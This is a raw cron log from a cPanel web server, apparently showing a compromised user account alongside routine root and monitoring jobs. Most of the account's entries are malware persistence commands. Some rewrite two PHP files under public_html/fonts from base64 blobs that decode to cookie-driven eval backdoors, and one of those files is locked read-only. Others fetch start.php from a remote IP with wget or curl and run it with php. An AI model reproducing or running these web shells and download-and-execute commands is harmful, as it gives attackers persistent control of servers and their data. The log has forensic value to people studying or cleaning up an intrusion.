Sep 12 03:53:01 ip-184-168-122-23 CROND[20980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:53:01 ip-184-168-122-23 CROND[20979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:54:01 ip-184-168-122-23 CROND[21158]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:54:01 ip-184-168-122-23 CROND[21160]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:54:01 ip-184-168-122-23 CROND[21162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:54:01 ip-184-168-122-23 CROND[21161]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:54:01 ip-184-168-122-23 CROND[21163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:55:01 ip-184-168-122-23 CROND[21255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:55:01 ip-184-168-122-23 CROND[21257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:55:01 ip-184-168-122-23 CROND[21258]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:55:01 ip-184-168-122-23 CROND[21259]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 03:55:01 ip-184-168-122-23 CROND[21261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:55:01 ip-184-168-122-23 CROND[21260]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 03:56:01 ip-184-168-122-23 CROND[21357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:56:01 ip-184-168-122-23 CROND[21362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:56:01 ip-184-168-122-23 CROND[21359]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:56:01 ip-184-168-122-23 CROND[21360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:56:01 ip-184-168-122-23 CROND[21361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:57:01 ip-184-168-122-23 CROND[21443]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:57:01 ip-184-168-122-23 CROND[21447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:57:01 ip-184-168-122-23 CROND[21445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:57:01 ip-184-168-122-23 CROND[21446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:58:01 ip-184-168-122-23 CROND[21528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:58:01 ip-184-168-122-23 CROND[21529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:58:01 ip-184-168-122-23 CROND[21531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 03:58:01 ip-184-168-122-23 CROND[21534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:58:01 ip-184-168-122-23 CROND[21533]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 03:59:01 ip-184-168-122-23 CROND[21706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 03:59:01 ip-184-168-122-23 CROND[21707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 03:59:01 ip-184-168-122-23 CROND[21708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 03:59:01 ip-184-168-122-23 CROND[21710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:00:01 ip-184-168-122-23 CROND[21800]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 04:00:01 ip-184-168-122-23 CROND[21802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:00:01 ip-184-168-122-23 CROND[21803]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 12 04:00:01 ip-184-168-122-23 CROND[21805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:00:01 ip-184-168-122-23 CROND[21804]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 04:00:01 ip-184-168-122-23 CROND[21806]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 04:00:01 ip-184-168-122-23 CROND[21807]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:00:01 ip-184-168-122-23 CROND[21809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:00:01 ip-184-168-122-23 CROND[21808]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:01:01 ip-184-168-122-23 CROND[21911]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21911]: starting 0anacron
Sep 12 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[21921]: finished 0anacron
Sep 12 04:01:01 ip-184-168-122-23 CROND[21922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:01:01 ip-184-168-122-23 CROND[21923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:01:01 ip-184-168-122-23 CROND[21924]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 04:01:01 ip-184-168-122-23 CROND[21926]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:01:01 ip-184-168-122-23 CROND[21927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:02:01 ip-184-168-122-23 CROND[22074]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:02:01 ip-184-168-122-23 CROND[22075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:02:01 ip-184-168-122-23 CROND[22076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:02:01 ip-184-168-122-23 CROND[22077]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:02:01 ip-184-168-122-23 CROND[22079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:03:01 ip-184-168-122-23 CROND[22211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:03:01 ip-184-168-122-23 CROND[22210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:03:01 ip-184-168-122-23 CROND[22209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:03:01 ip-184-168-122-23 CROND[22208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:04:01 ip-184-168-122-23 CROND[22449]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 04:04:01 ip-184-168-122-23 CROND[22451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 04:04:01 ip-184-168-122-23 CROND[22454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 04:04:01 ip-184-168-122-23 CROND[22452]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:04:01 ip-184-168-122-23 CROND[22453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 04:05:01 ip-184-168-122-23 CROND[22592]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 04:05:01 ip-184-168-122-23 CROND[22594]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 04:05:01 ip-184-168-122-23 CROND[22596]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 04:05:01 ip-184-168-122-23 CROND[22598]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 04:05:01 ip-184-168-122-23 CROND[22597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
